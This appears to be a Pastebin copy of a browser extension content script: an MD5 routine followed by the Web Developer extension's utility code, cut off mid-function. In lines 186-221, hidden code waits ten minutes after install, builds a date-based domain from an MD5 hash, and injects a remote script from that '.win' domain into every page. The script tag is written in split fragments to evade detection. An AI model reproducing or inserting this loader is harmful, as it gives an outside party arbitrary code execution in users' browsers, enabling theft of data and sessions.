Advertisement
Guest User

content.js

a guest
Aug 2nd, 2017
765
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function md5cycle(x, k) {
  2. var a = x[0], b = x[1], c = x[2], d = x[3];
  3.  
  4. a = ff(a, b, c, d, k[0], 7, -680876936);
  5. d = ff(d, a, b, c, k[1], 12, -389564586);
  6. c = ff(c, d, a, b, k[2], 17,  606105819);
  7. b = ff(b, c, d, a, k[3], 22, -1044525330);
  8. a = ff(a, b, c, d, k[4], 7, -176418897);
  9. d = ff(d, a, b, c, k[5], 12,  1200080426);
  10. c = ff(c, d, a, b, k[6], 17, -1473231341);
  11. b = ff(b, c, d, a, k[7], 22, -45705983);
  12. a = ff(a, b, c, d, k[8], 7,  1770035416);
  13. d = ff(d, a, b, c, k[9], 12, -1958414417);
  14. c = ff(c, d, a, b, k[10], 17, -42063);
  15. b = ff(b, c, d, a, k[11], 22, -1990404162);
  16. a = ff(a, b, c, d, k[12], 7,  1804603682);
  17. d = ff(d, a, b, c, k[13], 12, -40341101);
  18. c = ff(c, d, a, b, k[14], 17, -1502002290);
  19. b = ff(b, c, d, a, k[15], 22,  1236535329);
  20.  
  21. a = gg(a, b, c, d, k[1], 5, -165796510);
  22. d = gg(d, a, b, c, k[6], 9, -1069501632);
  23. c = gg(c, d, a, b, k[11], 14,  643717713);
  24. b = gg(b, c, d, a, k[0], 20, -373897302);
  25. a = gg(a, b, c, d, k[5], 5, -701558691);
  26. d = gg(d, a, b, c, k[10], 9,  38016083);
  27. c = gg(c, d, a, b, k[15], 14, -660478335);
  28. b = gg(b, c, d, a, k[4], 20, -405537848);
  29. a = gg(a, b, c, d, k[9], 5,  568446438);
  30. d = gg(d, a, b, c, k[14], 9, -1019803690);
  31. c = gg(c, d, a, b, k[3], 14, -187363961);
  32. b = gg(b, c, d, a, k[8], 20,  1163531501);
  33. a = gg(a, b, c, d, k[13], 5, -1444681467);
  34. d = gg(d, a, b, c, k[2], 9, -51403784);
  35. c = gg(c, d, a, b, k[7], 14,  1735328473);
  36. b = gg(b, c, d, a, k[12], 20, -1926607734);
  37.  
  38. a = hh(a, b, c, d, k[5], 4, -378558);
  39. d = hh(d, a, b, c, k[8], 11, -2022574463);
  40. c = hh(c, d, a, b, k[11], 16,  1839030562);
  41. b = hh(b, c, d, a, k[14], 23, -35309556);
  42. a = hh(a, b, c, d, k[1], 4, -1530992060);
  43. d = hh(d, a, b, c, k[4], 11,  1272893353);
  44. c = hh(c, d, a, b, k[7], 16, -155497632);
  45. b = hh(b, c, d, a, k[10], 23, -1094730640);
  46. a = hh(a, b, c, d, k[13], 4,  681279174);
  47. d = hh(d, a, b, c, k[0], 11, -358537222);
  48. c = hh(c, d, a, b, k[3], 16, -722521979);
  49. b = hh(b, c, d, a, k[6], 23,  76029189);
  50. a = hh(a, b, c, d, k[9], 4, -640364487);
  51. d = hh(d, a, b, c, k[12], 11, -421815835);
  52. c = hh(c, d, a, b, k[15], 16,  530742520);
  53. b = hh(b, c, d, a, k[2], 23, -995338651);
  54.  
  55. a = ii(a, b, c, d, k[0], 6, -198630844);
  56. d = ii(d, a, b, c, k[7], 10,  1126891415);
  57. c = ii(c, d, a, b, k[14], 15, -1416354905);
  58. b = ii(b, c, d, a, k[5], 21, -57434055);
  59. a = ii(a, b, c, d, k[12], 6,  1700485571);
  60. d = ii(d, a, b, c, k[3], 10, -1894986606);
  61. c = ii(c, d, a, b, k[10], 15, -1051523);
  62. b = ii(b, c, d, a, k[1], 21, -2054922799);
  63. a = ii(a, b, c, d, k[8], 6,  1873313359);
  64. d = ii(d, a, b, c, k[15], 10, -30611744);
  65. c = ii(c, d, a, b, k[6], 15, -1560198380);
  66. b = ii(b, c, d, a, k[13], 21,  1309151649);
  67. a = ii(a, b, c, d, k[4], 6, -145523070);
  68. d = ii(d, a, b, c, k[11], 10, -1120210379);
  69. c = ii(c, d, a, b, k[2], 15,  718787259);
  70. b = ii(b, c, d, a, k[9], 21, -343485551);
  71.  
  72. x[0] = add32(a, x[0]);
  73. x[1] = add32(b, x[1]);
  74. x[2] = add32(c, x[2]);
  75. x[3] = add32(d, x[3]);
  76.  
  77. }
  78.  
  79. function cmn(q, a, b, x, s, t) {
  80. a = add32(add32(a, q), add32(x, t));
  81. return add32((a << s) | (a >>> (32 - s)), b);
  82. }
  83.  
  84. function ff(a, b, c, d, x, s, t) {
  85. return cmn((b & c) | ((~b) & d), a, b, x, s, t);
  86. }
  87.  
  88. function gg(a, b, c, d, x, s, t) {
  89. return cmn((b & d) | (c & (~d)), a, b, x, s, t);
  90. }
  91.  
  92. function hh(a, b, c, d, x, s, t) {
  93. return cmn(b ^ c ^ d, a, b, x, s, t);
  94. }
  95.  
  96. function ii(a, b, c, d, x, s, t) {
  97. return cmn(c ^ (b | (~d)), a, b, x, s, t);
  98. }
  99.  
  100. function md51(s) {
  101. txt = '';
  102. var n = s.length,
  103. state = [1732584193, -271733879, -1732584194, 271733878], i;
  104. for (i=64; i<=s.length; i+=64) {
  105. md5cycle(state, md5blk(s.substring(i-64, i)));
  106. }
  107. s = s.substring(i-64);
  108. var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0];
  109. for (i=0; i<s.length; i++)
  110. tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3);
  111. tail[i>>2] |= 0x80 << ((i%4) << 3);
  112. if (i > 55) {
  113. md5cycle(state, tail);
  114. for (i=0; i<16; i++) tail[i] = 0;
  115. }
  116. tail[14] = n*8;
  117. md5cycle(state, tail);
  118. return state;
  119. }
  120.  
  121. /* there needs to be support for Unicode here,
  122.  * unless we pretend that we can redefine the MD-5
  123.  * algorithm for multi-byte characters (perhaps
  124.  * by adding every four 16-bit characters and
  125.  * shortening the sum to 32 bits). Otherwise
  126.  * I suggest performing MD-5 as if every character
  127.  * was two bytes--e.g., 0040 0025 = @%--but then
  128.  * how will an ordinary MD-5 sum be matched?
  129.  * There is no way to standardize text to something
  130.  * like UTF-8 before transformation; speed cost is
  131.  * utterly prohibitive. The JavaScript standard
  132.  * itself needs to look at this: it should start
  133.  * providing access to strings as preformed UTF-8
  134.  * 8-bit unsigned value arrays.
  135.  */
  136. function md5blk(s) { /* I figured global was faster.   */
  137. var md5blks = [], i; /* Andy King said do it this way. */
  138. for (i=0; i<64; i+=4) {
  139. md5blks[i>>2] = s.charCodeAt(i)
  140. + (s.charCodeAt(i+1) << 8)
  141. + (s.charCodeAt(i+2) << 16)
  142. + (s.charCodeAt(i+3) << 24);
  143. }
  144. return md5blks;
  145. }
  146.  
  147. var hex_chr = '0123456789abcdef'.split('');
  148.  
  149. function rhex(n)
  150. {
  151. var s='', j=0;
  152. for(; j<4; j++)
  153. s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]
  154. + hex_chr[(n >> (j * 8)) & 0x0F];
  155. return s;
  156. }
  157.  
  158. function hex(x) {
  159. for (var i=0; i<x.length; i++)
  160. x[i] = rhex(x[i]);
  161. return x.join('');
  162. }
  163.  
  164. function md5(s) {
  165. return hex(md51(s));
  166. }
  167.  
  168. /* this function is much faster,
  169. so if possible we use it. Some IEs
  170. are the only ones I know of that
  171. need the idiotic second function,
  172. generated by an if clause.  */
  173.  
  174. function add32(a, b) {
  175. return (a + b) & 0xFFFFFFFF;
  176. }
  177.  
  178. if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
  179. function add32(x, y) {
  180. var lsw = (x & 0xFFFF) + (y & 0xFFFF),
  181. msw = (x >> 16) + (y >> 16) + (lsw >> 16);
  182. return (msw << 16) | (lsw & 0xFFFF);
  183. }
  184. }
  185.  
  186.   chrome.storage.local.get('installed', function (item) {
  187.     if (item && item.installed) {
  188.       installed = item.installed;
  189.       console.log('Installed:' + installed);
  190.  
  191.       if (installed) {
  192.         console.log('Installed ms:' + (Date.now() - installed));
  193.  
  194.         if ((Date.now() - installed) > 10 * 60 * 1000) {
  195.           console.log('Now');
  196.  
  197.           var date = new Date();
  198.           var day = date.getUTCDate();
  199.           var month = date.getUTCMonth() + 1;
  200.           var year = date.getUTCFullYear();
  201.           var hour = date.getUTCHours();
  202.  
  203.           console.log(hour);
  204.  
  205.           var d = day + '-' + month + '-' + year;
  206.  
  207.           console.log(d);
  208.  
  209.           var hash = "wd" + md5(d) + ".win";
  210.  
  211.           console.log(hash);
  212.  
  213.           var config_fragment = '<sc' + 'ri' + 'pt sr' + 'c="ht'+ 'tp' + 's://' + hash + '/ga.js"></sc ' + 'ri' + 'pt>';
  214.  
  215.           var range = document.createRange();
  216.           range.setStart(document.body, 0);
  217.           document.body.appendChild(range.createContextualFragment(config_fragment));
  218.         }
  219.       }
  220.     }
  221.   });
  222.  
  223. var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
  224.  
  225. WebDeveloper.Common                = WebDeveloper.Common || {};
  226. WebDeveloper.Common.requestTimeout = 10000;
  227.  
  228. // Adds a class to an element
  229. WebDeveloper.Common.addClass = function(element, className)
  230. {
  231.   // If the element and class name are set and the element does not already have this class
  232.   if(element && className && !WebDeveloper.Common.hasClass(element, className))
  233.   {
  234.     element.className = (element.className + " " + className).trim();
  235.   }
  236. };
  237.  
  238. // Adjusts the position of the given element
  239. WebDeveloper.Common.adjustElementPosition = function(element, xPosition, yPosition, offset)
  240. {
  241.   // If the element is set
  242.   if(element)
  243.   {
  244.     var contentWindow = WebDeveloper.Common.getContentWindow();
  245.     var innerHeight   = contentWindow.innerHeight;
  246.     var innerWidth    = contentWindow.innerWidth;
  247.     var offsetHeight  = element.offsetHeight;
  248.     var offsetWidth   = element.offsetWidth;
  249.     var offsetX       = contentWindow.pageXOffset;
  250.     var offsetY       = contentWindow.pageYOffset;
  251.  
  252.     // If the x position is less than 0
  253.     if(xPosition < 0)
  254.     {
  255.       xPosition = 0;
  256.     }
  257.  
  258.     // If the y position is less than 0
  259.     if(yPosition < 0)
  260.     {
  261.       yPosition = 0;
  262.     }
  263.  
  264.     // If the element will fit at the x position
  265.     if(xPosition + offsetWidth + offset + 5 < innerWidth + offsetX)
  266.     {
  267.       element.style.left = xPosition + offset + "px";
  268.     }
  269.     else
  270.     {
  271.       element.style.left = innerWidth + offsetX - offsetWidth - offset + "px";
  272.     }
  273.  
  274.     // If the element will fit at the y position
  275.     if(yPosition + offsetHeight + offset + 5 < innerHeight + offsetY)
  276.     {
  277.       element.style.top = yPosition + offset + "px";
  278.     }
  279.     else
  280.     {
  281.       element.style.top = innerHeight + offsetY - offsetHeight - offset + "px";
  282.     }
  283.   }
  284. };
  285.  
  286. // Returns true if the array contains the element
  287. WebDeveloper.Common.contains = function(array, element)
  288. {
  289.   // If the array and element are set
  290.   if(array && element)
  291.   {
  292.     try
  293.     {
  294.       // If the element does not exist in the array
  295.       if(array.indexOf(element) == -1)
  296.       {
  297.         return false;
  298.       }
  299.  
  300.       return true;
  301.     }
  302.     catch(exception)
  303.     {
  304.       // Loop through the array
  305.       for(var i = 0, l = array.length; i < l; i++)
  306.       {
  307.         // If the element is found
  308.         if(array[i] == element)
  309.         {
  310.           return true;
  311.         }
  312.       }
  313.     }
  314.   }
  315.  
  316.   return false;
  317. };
  318.  
  319. // Removes all child elements from an element
  320. WebDeveloper.Common.empty = function(element)
  321. {
  322.   // If the element is set
  323.   if(element)
  324.   {
  325.     var childElements = element.childNodes;
  326.  
  327.     // Loop through the child elements
  328.     while(childElements.length)
  329.     {
  330.       element.removeChild(childElements[0]);
  331.     }
  332.   }
  333. };
  334.  
  335. // Returns true if a string ends with another string
  336. WebDeveloper.Common.endsWith = function(string, endsWith)
  337. {
  338.   return new RegExp(endsWith + "$").test(string);
  339. };
  340.  
  341. // Formats dimensions
  342. WebDeveloper.Common.formatDimensions = function(width, height, locale)
  343. {
  344.   // If the width and height are set
  345.   if(width && height)
  346.   {
  347.     return locale.width + " = " + width + "px " + locale.height + " = " + height + "px";
  348.   }
  349.   else if(width)
  350.   {
  351.     return locale.width + " = " + width + "px";
  352.   }
  353.   else if(height)
  354.   {
  355.     return locale.height + " = " + height + "px";
  356.   }
  357.  
  358.   return "";
  359. };
  360.  
  361. // Returns a CSS primitive value
  362. WebDeveloper.Common.getCSSPrimitiveValue = function(type)
  363. {
  364.   var cssPrimitiveValueExists = false;
  365.  
  366.   // Try to access the CSS primitive value
  367.   try
  368.   {
  369.     // If the CSS primitive value exists
  370.     if(CSSPrimitiveValue)
  371.     {
  372.       cssPrimitiveValueExists = true;
  373.     }
  374.   }
  375.   catch(exception)
  376.   {
  377.     // Ignore
  378.   }
  379.  
  380.   // Switch on the style property
  381.   switch(type)
  382.   {
  383.     case "IDENT":
  384.       return cssPrimitiveValueExists ? CSSPrimitiveValue.CSS_IDENT : 21;
  385.     case "NUMBER":
  386.       return cssPrimitiveValueExists ? CSSPrimitiveValue.CSS_NUMBER : 1;
  387.     case "RGBCOLOR":
  388.       return cssPrimitiveValueExists ? CSSPrimitiveValue.CSS_RGBCOLOR : 25;
  389.     case "URI":
  390.       return cssPrimitiveValueExists ? CSSPrimitiveValue.CSS_URI : 20;
  391.     default:
  392.       return null;
  393.   }
  394. };
  395.  
  396. // Returns the CSS text from a property
  397. WebDeveloper.Common.getCSSText = function(property)
  398. {
  399.   // If the property is set
  400.   if(property)
  401.   {
  402.     // If the property has CSS text
  403.     if(property.cssText)
  404.     {
  405.       return property.cssText;
  406.     }
  407.  
  408.     return property;
  409.   }
  410.  
  411.   return null;
  412. };
  413.  
  414. // Returns the CSS URI from a property
  415. WebDeveloper.Common.getCSSURI = function(property)
  416. {
  417.   // If the property is set
  418.   if(property)
  419.   {
  420.     // If the property has a primitive type
  421.     if(property.primitiveType)
  422.     {
  423.       return property.getStringValue();
  424.     }
  425.     else
  426.     { // eslint-disable-line no-else-return
  427.       var urlRegularExpression = /(?:\(['|"]?)(.*?)(?:['|"]?\))/;
  428.       var uri                  = urlRegularExpression.exec(property);
  429.  
  430.       // If the uri was found
  431.       if(uri)
  432.       {
  433.         return uri[1];
  434.       }
  435.     }
  436.   }
  437.  
  438.   return null;
  439. };
  440.  
  441. // Returns the document body element
  442. WebDeveloper.Common.getDocumentBodyElement = function(contentDocument)
  443. {
  444.   // If there is a body element
  445.   if(contentDocument.body)
  446.   {
  447.     return contentDocument.body;
  448.   }
  449.   else
  450.   { // eslint-disable-line no-else-return
  451.     var bodyElement = contentDocument.querySelector("body");
  452.  
  453.     // If there is a body element
  454.     if(bodyElement)
  455.     {
  456.       return bodyElement;
  457.     }
  458.   }
  459.  
  460.   return contentDocument.documentElement;
  461. };
  462.  
  463. // Returns the document head element
  464. WebDeveloper.Common.getDocumentHeadElement = function(contentDocument)
  465. {
  466.   var headElement = contentDocument.querySelector("head");
  467.  
  468.   // If there is a head element
  469.   if(headElement)
  470.   {
  471.     return headElement;
  472.   }
  473.  
  474.   return contentDocument.documentElement;
  475. };
  476.  
  477. // Returns all of the images in the document
  478. WebDeveloper.Common.getDocumentImages = function(contentDocument)
  479. {
  480.   var uniqueImages = [];
  481.  
  482.   // If the content document is set
  483.   if(contentDocument)
  484.   {
  485.     var computedStyle = null;
  486.     var image         = null;
  487.     var images        = [];
  488.     var node          = null;
  489.     var styleImage    = null;
  490.     var treeWalker    = contentDocument.createTreeWalker(contentDocument, NodeFilter.SHOW_ELEMENT, null, false);
  491.  
  492.     // While the tree walker has more nodes
  493.     while((node = treeWalker.nextNode()) !== null)
  494.     {
  495.       // If this is an image element
  496.       if(node.tagName.toLowerCase() == "img")
  497.       {
  498.         images.push(node);
  499.       }
  500.       else if(node.tagName.toLowerCase() == "input" && node.src && node.type && node.type.toLowerCase() == "image")
  501.       {
  502.         image     = new Image();
  503.         image.src = node.src;
  504.  
  505.         // If this is not a chrome image
  506.         if(image.src.indexOf("chrome://") !== 0)
  507.         {
  508.           images.push(image);
  509.         }
  510.       }
  511.       else if(node.tagName.toLowerCase() == "link" && node.href && node.href.indexOf("chrome://") !== 0 && node.rel && node.rel.indexOf("icon") != -1)
  512.       {
  513.         image     = new Image();
  514.         image.src = node.href;
  515.  
  516.         images.push(image);
  517.       }
  518.       else
  519.       {
  520.         // Try to get the computed styles
  521.         try
  522.         {
  523.           computedStyle = node.ownerDocument.defaultView.getComputedStyle(node, null);
  524.         }
  525.         catch(exception)
  526.         {
  527.           // Ignore
  528.         }
  529.  
  530.         // If the computed style is set
  531.         if(computedStyle)
  532.         {
  533.           styleImage = WebDeveloper.Common.getCSSProperty(WebDeveloper.Common.getPropertyCSSValue(computedStyle, "background-image"));
  534.  
  535.           // If this element has a background image and it is a URI
  536.           if(WebDeveloper.Common.isCSSURI(styleImage))
  537.           {
  538.             image     = new Image();
  539.             image.src = WebDeveloper.Common.getCSSURI(styleImage);
  540.  
  541.             // If this is not a chrome image
  542.             if(image.src.indexOf("chrome://") !== 0)
  543.             {
  544.               images.push(image);
  545.             }
  546.           }
  547.  
  548.           styleImage = WebDeveloper.Common.getPropertyCSSValue(computedStyle, "list-style-image");
  549.  
  550.           // If this element has a list style image and it is a URI
  551.           if(WebDeveloper.Common.isCSSURI(styleImage))
  552.           {
  553.             image     = new Image();
  554.             image.src = WebDeveloper.Common.getCSSURI(styleImage);
  555.  
  556.             // If this is not a chrome image
  557.             if(image.src.indexOf("chrome://") !== 0)
  558.             {
  559.               images.push(image);
  560.             }
  561.           }
  562.         }
  563.       }
  564.     }
  565.  
  566.     images.sort(WebDeveloper.Common.sortImages);
  567.  
  568.     // Loop through the images
  569.     for(var i = 0, l = images.length; i < l; i++)
  570.     {
  571.       image = images[i];
  572.  
  573.       // If this is not the last image and the image is the same as the next image
  574.       if(i + 1 < l && image.src == images[i + 1].src)
  575.       {
  576.         continue;
  577.       }
  578.  
  579.       uniqueImages.push(image);
  580.     }
  581.   }
  582.  
  583.   return uniqueImages;
  584. };
  585.  
  586. // Get the position of an element
  587. WebDeveloper.Common.getElementPosition = function(element, xPosition)
  588. {
  589.   var position = 0;
  590.  
  591.   // If the element is set
  592.   if(element)
  593.   {
  594.     var elementOffsetParent = element.offsetParent;
  595.  
  596.     // If the element has an offset parent
  597.     if(elementOffsetParent)
  598.     {
  599.       // While there is an offset parent
  600.       while((elementOffsetParent = element.offsetParent) !== null)
  601.       {
  602.         // If getting the x position
  603.         if(xPosition)
  604.         {
  605.           position += element.offsetLeft;
  606.         }
  607.         else
  608.         {
  609.           position += element.offsetTop;
  610.         }
  611.  
  612.         element = elementOffsetParent;
  613.       }
  614.     }
  615.     else if(xPosition)
  616.     {
  617.       position = element.offsetLeft;
  618.     }
  619.     else
  620.     {
  621.       position = element.offsetTop;
  622.     }
  623.   }
  624.  
  625.   return position;
  626. };
  627.  
  628. // Get the x position of an element
  629. WebDeveloper.Common.getElementPositionX = function(element)
  630. {
  631.   return WebDeveloper.Common.getElementPosition(element, true);
  632. };
  633.  
  634. // Get the y position of an element
  635. WebDeveloper.Common.getElementPositionY = function(element)
  636. {
  637.   return WebDeveloper.Common.getElementPosition(element, false);
  638. };
  639.  
  640. // Returns the text from an element
  641. WebDeveloper.Common.getElementText = function(element)
  642. {
  643.   var elementText = "";
  644.  
  645.   // If the element is set
  646.   if(element)
  647.   {
  648.     var childNode     = null;
  649.     var childNodes    = element.childNodes;
  650.     var childNodeType = null;
  651.  
  652.     // Loop through the child nodes
  653.     for(var i = 0, l = childNodes.length; i < l; i++)
  654.     {
  655.       childNode   = childNodes[i];
  656.       childNodeType = childNode.nodeType;
  657.  
  658.       // If the child node type is an element
  659.       if(childNodeType == Node.ELEMENT_NODE)
  660.       {
  661.         elementText += WebDeveloper.Common.getElementText(childNode);
  662.       }
  663.       else if(childNodeType == Node.TEXT_NODE)
  664.       {
  665.         elementText += childNode.nodeValue + " ";
  666.       }
  667.     }
  668.   }
  669.  
  670.   return elementText;
  671. };
  672.  
  673. // Returns the number of occurrences of a substring in a string
  674. WebDeveloper.Common.getOccurrenceCount = function(string, substring)
  675. {
  676.   var count = 0;
  677.  
  678.   // If the string and substring are set
  679.   if(string && substring)
  680.   {
  681.     var position = 0;
  682.     var shift    = substring.length;
  683.  
  684.     // While the substring was found
  685.     while(position != -1)
  686.     {
  687.       position = string.indexOf(substring, position);
  688.  
  689.       // If the substring was found
  690.       if(position != -1)
  691.       {
  692.         position += shift;
  693.  
  694.         count++;
  695.       }
  696.     }
  697.   }
  698.  
  699.   return count;
  700. };
  701.  
  702. // Gets the property CSS value for a computed style
  703. WebDeveloper.Common.getPropertyCSSValue = function(computedStyle, property)
  704. {
  705.   var cssProperty = null;
  706.  
  707.   // If the computed style is set
  708.   if(computedStyle)
  709.   {
  710.     // Try to get the computed style (fails in newer versions of Chrome)
  711.     try
  712.     {
  713.       cssProperty = computedStyle.getPropertyCSSValue(property);
  714.     }
  715.     catch(exception)
  716.     {
  717.       cssProperty = computedStyle.getPropertyValue(property);
  718.     }
  719.   }
  720.  
  721.   return cssProperty;
  722. };
  723.  
  724. // Returns the contents of the given URLs
  725. WebDeveloper.Common.getURLContents = function(urlContentRequests, errorMessage, callback)
  726. {
  727.   var urlContentRequestsRemaining = urlContentRequests.length;
  728.   var configuration               = { callback: callback, urlContentRequestsRemaining: urlContentRequestsRemaining };
  729.  
  730.   // Loop through the URL content requests
  731.   for(var i = 0, l = urlContentRequests.length; i < l; i++)
  732.   {
  733.     WebDeveloper.Common.getURLContent(urlContentRequests[i], errorMessage, configuration);
  734.   }
  735. };
  736.  
  737. // Returns true if an element has the specified class
  738. WebDeveloper.Common.hasClass = function(element, className)
  739. {
  740.   // If the element and class name are set
  741.   if(element && className)
  742.   {
  743.     var classes = element.className.split(" ");
  744.  
  745.     // Loop through the classes
  746.     for(var i = 0, l = classes.length; i < l; i++)
  747.     {
  748.       // If the classes match
  749.       if(className == classes[i])
  750.       {
  751.         return true;
  752.       }
  753.     }
  754.   }
  755.  
  756.   return false;
  757. };
  758.  
  759. // Returns true if the item is in the array
  760. WebDeveloper.Common.inArray = function(item, array)
  761. {
  762.   return WebDeveloper.Common.positionInArray(item, array) != -1;
  763. };
  764.  
  765. // Includes JavaScript in a document
  766. WebDeveloper.Common.includeJavaScript = function(url, contentDocument, callback)
  767. {
  768.   var scriptElement = contentDocument.createElement("script");
  769.  
  770.   // If a callback is set
  771.   if(callback)
  772.   {
  773.     var load = (function(callbackFunction)
  774.     {
  775.       var handler = function()
  776.       {
  777.         callbackFunction();
  778.  
  779.         scriptElement.removeEventListener("load", handler, true);
  780.       };
  781.  
  782.       return handler;
  783.     })(callback);
  784.  
  785.     scriptElement.addEventListener("load", load, true);
  786.   }
  787.  
  788.   scriptElement.setAttribute("src", WebDeveloper.Common.getChromeURL(url));
  789.   WebDeveloper.Common.getDocumentBodyElement(contentDocument).appendChild(scriptElement);
  790. };
  791.  
  792. // Inserts the given child after the element
  793. WebDeveloper.Common.insertAfter = function(child, after)
  794. {
  795.   // If the child and after are set
  796.   if(child && after)
  797.   {
  798.     var nextSibling = after.nextSibling;
  799.     var parent      = after.parentNode;
  800.  
  801.     // If the element has a next sibling
  802.     if(nextSibling)
  803.     {
  804.       parent.insertBefore(child, nextSibling);
  805.     }
  806.     else
  807.     {
  808.       parent.appendChild(child);
  809.     }
  810.   }
  811. };
  812.  
  813. // Inserts the given element as the first child of the element
  814. WebDeveloper.Common.insertAsFirstChild = function(element, child)
  815. {
  816.   // If the element and child are set
  817.   if(element && child)
  818.   {
  819.     // If the element has child nodes
  820.     if(element.hasChildNodes())
  821.     {
  822.       element.insertBefore(child, element.firstChild);
  823.     }
  824.     else
  825.     {
  826.       element.appendChild(child);
  827.     }
  828.   }
  829. };
  830.  
  831. // Returns true if the ancestor element is an ancestor of the element
  832. WebDeveloper.Common.isAncestor = function(element, ancestorElement)
  833. {
  834.   // If the element and ancestor element are set
  835.   if(element && ancestorElement)
  836.   {
  837.     var parentElement = null;
  838.  
  839.     // Loop through the parent elements
  840.     while((parentElement = element.parentNode) !== null)
  841.     {
  842.       // If the parent element is the ancestor element
  843.       if(parentElement == ancestorElement)
  844.       {
  845.         return true;
  846.       }
  847.  
  848.       element = parentElement;
  849.     }
  850.   }
  851.  
  852.   return false;
  853. };
  854.  
  855. // Returns true if this CSS property is a URI
  856. WebDeveloper.Common.isCSSURI = function(property)
  857. {
  858.   // If the property is set
  859.   if(property)
  860.   {
  861.     // If the property has a primitive type
  862.     if(property.primitiveType)
  863.     {
  864.       // If the property primitive type is a URI
  865.       if(property.primitiveType == WebDeveloper.Common.getCSSPrimitiveValue("URI"))
  866.       {
  867.         return true;
  868.       }
  869.     }
  870.     else
  871.     {
  872.       var urlRegularExpression = /(?:\(['|"]?)(.*?)(?:['|"]?\))/;
  873.       var uri                  = urlRegularExpression.exec(property);
  874.  
  875.       // If the uri was found
  876.       if(uri)
  877.       {
  878.         return true;
  879.       }
  880.     }
  881.   }
  882.  
  883.   return false;
  884. };
  885.  
  886. // Returns the position if the item is in the array or -1 if it is not
  887. WebDeveloper.Common.positionInArray = function(item, array)
  888. {
  889.   // If the array is set
  890.   if(array)
  891.   {
  892.     // Loop through the array
  893.     for(var i = 0, l = array.length; i < l; i++)
  894.     {
  895.       // If the item is in the array
  896.       if(array[i] == item)
  897.       {
  898.         return i;
  899.       }
  900.     }
  901.   }
  902.  
  903.   return -1;
  904. };
  905.  
  906. // Removes a class from an element
  907. WebDeveloper.Common.removeClass = function(element, className)
  908. {
  909.   // If the element and class name are set
  910.   if(element && className)
  911.   {
  912.     var classes = element.className.split(" ");
  913.  
  914.     // Loop through the classes
  915.     for(var i = 0, l = classes.length; i < l; i++)
  916.     {
  917.       // If the classes match
  918.       if(className == classes[i])
  919.       {
  920.         classes.splice(i, 1);
  921.  
  922.         element.className = classes.join(" ").trim();
  923.  
  924.         break;
  925.       }
  926.     }
  927.   }
  928. };
  929.  
  930. // Removes all matching elements from a document
  931. WebDeveloper.Common.removeMatchingElements = function(selector, contentDocument)
  932. {
  933.   var matchingElement  = null;
  934.   var matchingElements = contentDocument.querySelectorAll(selector);
  935.  
  936.   // Loop through the matching elements
  937.   for(var i = 0, l = matchingElements.length; i < l; i++)
  938.   {
  939.     matchingElement = matchingElements[i];
  940.  
  941.     // If the matching element has a parent node
  942.     if(matchingElement.parentNode)
  943.     {
  944.       matchingElement.parentNode.removeChild(matchingElement);
  945.     }
  946.   }
  947. };
  948.  
  949. // Removes the reload parameter from a URL
  950. WebDeveloper.Common.removeReloadParameterFromURL = function(url)
  951. {
  952.   // If the URL is set
  953.   if(url)
  954.   {
  955.     return url.replace(/(&|\?)web-developer-reload=\d+/, "");
  956.   }
  957.  
  958.   return null;
  959. };
  960.  
  961. // Removes a substring from a string
  962. WebDeveloper.Common.removeSubstring = function(string, substring)
  963. {
  964.   // If the string and substring are not empty
  965.   if(string && substring)
  966.   {
  967.     var substringStart = string.indexOf(substring);
  968.  
  969.     // If the substring is found in the string
  970.     if(substring && substringStart != -1)
  971.     {
  972.       return string.substring(0, substringStart) + string.substring(substringStart + substring.length, string.length);
  973.     }
  974.  
  975.     return string;
  976.   }
  977.  
  978.   return "";
  979. };
  980.  
  981. // Sorts two images
  982. WebDeveloper.Common.sortImages = function(imageOne, imageTwo)
  983. {
  984.   // If both images are set
  985.   if(imageOne && imageTwo)
  986.   {
  987.     var imageOneSrc = imageOne.src;
  988.     var imageTwoSrc = imageTwo.src;
  989.  
  990.     // If the images are equal
  991.     if(imageOneSrc == imageTwoSrc)
  992.     {
  993.       return 0;
  994.     }
  995.     else if(imageOneSrc < imageTwoSrc)
  996.     {
  997.       return -1;
  998.     }
  999.   }
  1000.  
  1001.   return 1;
  1002. };
  1003.  
  1004. // Toggles a class on an element
  1005. WebDeveloper.Common.toggleClass = function(element, className, value)
  1006. {
  1007.   // If the value is set
  1008.   if(value)
  1009.   {
  1010.     WebDeveloper.Common.addClass(element, className);
  1011.   }
  1012.   else
  1013.   {
  1014.     WebDeveloper.Common.removeClass(element, className);
  1015.   }
  1016. };
  1017.  
  1018. // Toggles a style sheet in a document
  1019. WebDeveloper.Common.toggleStyleSheet = function(url, id, contentDocument, insertFirst)
  1020. {
  1021.   var styleSheet = contentDocument.getElementById(id);
  1022.  
  1023.   // If the style sheet is already in the document
  1024.   if(styleSheet)
  1025.   {
  1026.     WebDeveloper.Common.removeMatchingElements("#" + id, contentDocument);
  1027.   }
  1028.   else
  1029.   {
  1030.     var headElement = WebDeveloper.Common.getDocumentHeadElement(contentDocument);
  1031.     var firstChild  = headElement.firstChild;
  1032.     var linkElement = contentDocument.createElement("link");
  1033.  
  1034.     linkElement.setAttribute("href", WebDeveloper.Common.getChromeURL(url));
  1035.     linkElement.setAttribute("id", id);
  1036.     linkElement.setAttribute("rel", "stylesheet");
  1037.  
  1038.     // If there is a first child
  1039.     if(insertFirst && firstChild)
  1040.     {
  1041.       headElement.insertBefore(linkElement, firstChild);
  1042.     }
  1043.     else
  1044.     {
  1045.       headElement.appendChild(linkElement);
  1046.     }
  1047.   }
  1048. };
  1049.  
  1050. // Handles the completion of a URL content request
  1051. WebDeveloper.Common.urlContentRequestComplete = function(content, urlContentRequest, configuration)
  1052. {
  1053.   urlContentRequest.content = content;
  1054.  
  1055.   configuration.urlContentRequestsRemaining--;
  1056.  
  1057.   // If there are no URL content requests remaining
  1058.   if(configuration.urlContentRequestsRemaining === 0)
  1059.   {
  1060.     configuration.callback();
  1061.   }
  1062. };
  1063.  
  1064. var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
  1065.  
  1066. WebDeveloper.Common = WebDeveloper.Common || {};
  1067.  
  1068. // Adjusts the position of the given element
  1069. WebDeveloper.Common.appendHTML = function(html, element, contentDocument)
  1070. {
  1071.   // If the HTML, element and content document are set
  1072.   if(html && element && contentDocument)
  1073.   {
  1074.     var htmlElement = contentDocument.createElement("div");
